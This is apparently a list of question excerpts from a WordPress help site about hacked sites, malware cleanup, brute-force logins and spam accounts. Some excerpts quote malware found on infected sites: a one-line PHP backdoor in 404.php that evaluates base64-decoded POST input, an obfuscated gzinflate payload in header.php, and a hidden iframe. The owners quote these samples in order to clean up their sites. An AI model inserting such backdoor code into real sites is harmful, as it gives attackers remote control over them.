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Efficient way to check local Wordpress php files and Database for malicious code? [duplicate]

First of all, I am not a WP superuser. Recently a friend of mine got hacked, by hacked I mean he didn't update his WP for a long time and got malicious code injected which sent spam, so his hoster ...
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How To Clean The Malware Infected & Hacked WordPress Websites? [duplicate]

I have some websites build with WordPress. My sites are affected by Malware programs and Hacked by someone frequently. Finally got a solution to stop this issue. I create this post for share my tips ...
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Hacked site. Fixed. Nailing down the cause [duplicate]

One of the sites I manage was hacked, basically the hack consisted in redirecting users to other external webpage (sort of advertising spam malware). I have moved the hacked site to a staging site ...
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What to do about a hacked WordPress website and server? [duplicate]

My WordPress website has been hacked. Google sent me an email stating that the site would be listed in browsers such as Google Chrome and display a warning when users visit or download certain files ...
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Increase of failed login attempts, brute force attacks? [closed]

I Installed the plugin Simple Login Lockdown and since a couple of days ago the database is recording over 200 records by day. I think that is not possible to have my site attacked by so many IP's ...
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Remove default user registration, login and subscriber profiles

My website has recently come under attack by a wave of spam user accounts. My website uses a custom login that forces users to use their email address as their username, however the spam users all ...
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Suspicious Files

Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> The ...
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wp-config.php modified?

This might be a broad topic but I am searching and reading but not able to clear my doubts, please advice in answer or links from where I can understand about how codes are injected to WP by attackers....
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Malware in header.php [closed]

Four different websites got infected and been blocked by Google, and after a quick look, I've noticed this just before wp_head(): <?php #d93065# echo(gzinflate(base64_decode("tVVNj5swEP0... (...
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What does a security risk in a plugin look like?

My server was hacked this weekend. By the Russians! Of the 50+ domains on my server, every single one had a hacked .htaccess file which was redirecting search results and a few other things to a ...
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After being hacked Fatal error: Call to undefined function get_header() in 404.php on line 1

After having timthumb.php exploited. The site was upgraded to WP 3.5 It was compromised again, (wp-config included encrypted data as well as the functions.php in the wp-include directory. After ...
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Strange codes in my wordpress site and my website is running too slow [closed]

I have a wordpress website, recently I saw too much slow loading index page. For two weeks I have been trying to find the problem but found nothing. Last day I backup all files and deleted everything ...
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Suspicious URLs being loaded after hack and restore

I had a site that was hacked (had Arab words on the index.php), and all files deleted, but database still there. I used Fantastico to install a clean release of WP 3.1, and I still some something ...
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WP Site Only Shows Javascript for Main Page

I have a wordpress site that, for some users, they only see a blank page. In fact, they only get some sort of javascript (below). I've tried deactivating all plugins and changing the theme; I still ...
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Malicious script is being appended to my markup. Help? [closed]

On my site, the script below is being added: <iframe width="1" height="1" frameborder="0" src=""> I tried searching every file in my WP install directory for ...
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